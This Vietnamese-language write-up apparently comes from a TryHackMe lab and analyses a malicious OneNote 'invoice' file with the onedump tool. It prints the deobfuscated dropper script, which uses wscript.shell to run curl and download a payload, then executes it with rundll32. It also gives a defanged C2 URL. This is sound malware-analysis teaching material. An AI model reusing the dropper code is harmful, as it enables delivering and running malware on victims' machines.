Có thể dùng tool onedump để trích xuất và phân tích tài liệu OneNote:

remnux@thm-remnux:~/onenoteDocs$ python3 onedump.py -h
Usage: onedump.py [options] [[@]file|cut-expression|flag-expression ...]
Dump tool for onenote files
 
Source code put in the public domain by Didier Stevens, no Copyright
Use at your own risk
https://DidierStevens.com
 
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -m, --man             Print manual
  -o OUTPUT, --output=OUTPUT
                        Output to file (# supported)
  -s SELECT, --select=SELECT
                        select item nr for dumping (a for all)
  -d, --dump            perform dump
  -x, --hexdump         perform hex dump
  -X, --hexdumpnows     perform hex dump without whitespace
  -a, --asciidump       perform ascii dump
  -A, --asciidumprle    perform ascii dump with RLE
  -b, --base64          perform BASE64 dump
  -B, --base64nows      perform BASE64 dump without whitespace
  -p PASSWORD, --password=PASSWORD
                        The ZIP password to be used (default infected)
  -n, --noextraction    Do not extract from archive file
  -l, --literalfilenames
                        Do not interpret filenames
  -r, --recursedir      Recurse directories (wildcards and here files (@...)
                        allowed)
  --checkfilenames      Perform check if files exist prior to file processing
  -j, --jsoninput       Consume JSON from stdin
  --logfile=LOGFILE     Create logfile with given keyword
  --logcomment=LOGCOMMENT
                        A string with comments to be included in the log file
  --ignoreprocessingerrors
                        Ignore errors during file processing

Khi không sử dụng option nào:

remnux@thm-remnux:~/onenoteDocs$ python3 onedump.py invoice.one
File: invoice.one
 1: 0x00001740 .... ffd8ffe2 0x00015b4f 4d5f7afd30851031376da0fa6d0e3f80
 2: 0x0001d290 .... ffd8ffe2 0x0000d36f 2ccb7fd40e61b6dd2cd936e61929fb81
 3: 0x0002ae58 .PNG 89504e47 0x000000ef 088833d5a4fdcd105a34657922326f76
 4: 0x0002bb00 .PNG 89504e47 0x00000128 33dca72504d567c57f95452a0358ed2f
 5: 0x0002bc60 <htm 3c68746d 0x00000817 c9d2355fc2be90b0fa73ecb67061a77e
 6: 0x0002d628 <htm 3c68746d 0x00005c19 b915056524f1b25937074727cdf5f87c

Công cụ hiển thị 6 object.

Dùng option -s để chọn object thứ 5 và dump nội dung của nó với option -d:

remnux@thm-remnux:~/onenoteDocs$ python3 onedump.py -s 5 -d invoice.one

Nội dung của object là code HTML mà có chứa JavaScript và VBScript:

Có thể thấy, có một đoạn script sử dụng hàm replace để thay thế các ký tự 5& thành chuỗi rỗng nhằm gỡ rối mã độc được lưu trong thẻ <div>:

Sử dụng CyberChef để gỡ rối theo một cách tương tự:

Mã độc sau khi gỡ rối:

function sleep(millis) {
    var date = new Date();
    var curDate = null;
    do {
        curDate = new Date();
    } while (curDate - date < millis);
} /** var url = "https://google.com"; */
new ActiveXObject("wscript.shell").run("curl.exe --output C:\\ProgramData\\index1.png --url " + url, 0);
sleep(15000);
var shell = new ActiveXObject("shell.application");
shell.shellexecute("rundll32", "C:\\ProgramData\\index1.png,Wind", "", "open", 3);

Đoạn mã này là sự kết hợp của JavaScript và VBScript.

Summary

Các bước thực thi của mã độc:

  • Gỡ rối mã độc bằng cách xóa ký tự 5&.
  • Ghi mã độc vào registry HKCU\\SOFTWARE\\Andromedia\\Mp4ToAvi\\Values.
  • Chạy mã độc.
  • Download payload và lưu vào file index1.png: curl.exe --output C:\\\\ProgramData\\\\index1.png --url " + url, 0);
  • Ngủ 15 giây (sleep(15000)).
  • Chạy payload sử dụng rundll32: shell.shellexecute("rundll32", "C:\\ProgramData\\index1.png,Wind", "", "open", 3);.
  • Xóa registry chứa mã độc.index1.png

Các thông tin tổng hợp được qua quá trình phân tích:

  • Tài liệu OneNote có hai HTML object.
  • C2 domain là hxxps[:]//unitedmedicalspecialties[.]com/T1Gpp/OI.png.
list
from outgoing([[TryHackMe - MalDoc]])
sort file.ctime asc

Resources